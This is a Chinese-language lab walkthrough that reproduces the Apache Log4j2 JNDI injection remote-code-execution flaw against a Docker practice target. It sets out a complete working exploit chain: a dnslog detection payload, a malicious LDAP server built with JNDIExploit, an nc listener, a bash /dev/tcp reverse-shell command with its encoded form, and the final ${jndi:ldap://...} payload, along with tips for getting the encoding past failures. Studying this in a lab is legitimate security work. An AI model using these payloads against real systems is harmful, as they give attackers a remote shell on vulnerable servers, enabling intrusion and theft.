最近最熱門的無非是最近爆出的超大boss—Apache log4j2組件的rce漏洞。安全圈俗稱'過年'，漏洞影響范圍之廣，危害之大堪比當年的永恆之藍。由於最近爆出，危害程度目前還正在不斷擴大中。超多的大佬已經復現了，那么作為網絡安全的小白，不復現一下就是對不起自己。！！！
Apache log4j介紹
Apache log4j是Apache的一個開源項目，Apache log4j 2是一個就Java的日志記錄工具。該工具重寫了log4j框架，並且引入了大量豐富的特性。我們可以控制日志信息輸送的目的地為控制台、文件、GUI組建等，通過定義每一條日志信息的級別，能夠更加細致地控制日志的生成過程。log4j2中存在JNDI注入漏洞，當程序記錄用戶輸入的數據時，即可觸發該漏洞。成功利用該漏洞可在目標服務器上執行任意代碼。
下面開始復現
1，首先搭建靶場：
使用docker環境搭建靶場，應該說是最最方便的了。至於docker環境的安裝這里就不用我多講了。
拉取鏡像：
docker pull vulfocus/log4j2-rce-2021-12-09
root@localhost# docker pull vulfocus/log4j2-rce-2021-12-09 Using default tag: latest latest: Pulling from vulfocus/log4j2-rce-2021-12-09 7b1a6ab2e44d: Pull complete 137d0593639e: Pull complete 4f4fb700ef54: Pull complete 830718d01660: Pull complete a08ba33271e9: Pull complete f26156a19734: Pull complete Digest: sha256:49ed4882bfee3fef1787adfb354f75f78eb1e45a6fd0d02ea56661edaf120982 Status: Downloaded newer image for vulfocus/log4j2-rce-2021-12-09:latest docker.io/vulfocus/log4j2-rce-2021-12-09:latest
啟動docker容器：
docker run -tid -p 38080:8080 vulfocus/log4j2-rce-2021-12-09
root@localhost# docker run -tid -p 38080:8080 vulfocus/log4j2-rce-2021-12-09 c93cf087cc973cdb0b7b92826c702c7ca80959d7a1dabf1429f0eb66f4c7c311
訪問：ip:38080即可。出現如下頁面表示靶機搭建完成。
2，dnslog檢測漏洞存在：
訪問存在漏洞頁面：http://192.168.145.128:38080/hello，抓包。
漏洞存在點在payload參數，payload格式為：${jndi:ldap://xxx.dnslog.cn/exp}
注意，這時把get請求改為post，同時添加請求頭：Content-Type:application/x-www-form-urlencoded
刷新dnslog.cn：
發現dnslog.cn記錄，說明存在log4j2-rce漏洞。
3，反彈Shell：以下操作均在攻擊機上（192.168.145.142）
使用JNDIExploit-1.2-SNAPSHOT.jar搭建惡意的jndi服務。這里我們使用的是ldap的1389端口
┌──(kali㉿kali)-[~/Desktop/JNDIExploit.v1.2] └─$ java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.145.142 Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true [+] LDAP Server Start Listening on 1389... [+] HTTP Server Start Listening on 8080...
開啟nc監聽
┌──(kali㉿kali)-[~/Desktop] └─$ nc -lvnp 8888 listening on [any] 8888 ...
這樣，攻擊機的設置就完成了，然后開始寫payload，觸發漏洞，反彈shell。
反彈shell paylaod：
bash -i >& /dev/tcp/192.168.145.142/8888 0>&1
進行base64編碼然后兩次url編碼：（看情況，有時可能只需要url編碼一次，有時需要url編碼2次，也有可能不需要url編碼，看1389端口返回執行的具體command命令到底是多少，然后決定怎么進行編碼。在最終的command命令下，必須要解析為正確的反彈shell命令，如下，如果解析失敗的話，會提示Exception: Incorrect params:錯誤，這個時候需要修改url編碼讓它能夠正確解析。）
YmFzaCAtaSA%252bJiAvZGV2L3RjcC8xOTIuMTY4LjE0NS4xNDIvODg4OCAwPiYx
最終payload為：
${jndi:ldap://192.168.145.142:1389/TomcatBypass/Command/Base64/YmFzaCAtaSA%252bJiAvZGV2L3RjcC8xOTIuMTY4LjE0NS4xNDIvODg4OCAwPiYx}
在burp里面，如果不成功，就把這個參數進行url全編碼，在此發送，url全編碼還是比較好用的。
發送數據包，觸發漏洞，反彈shell：有可能會等待時間較久，需要有耐心。
完畢。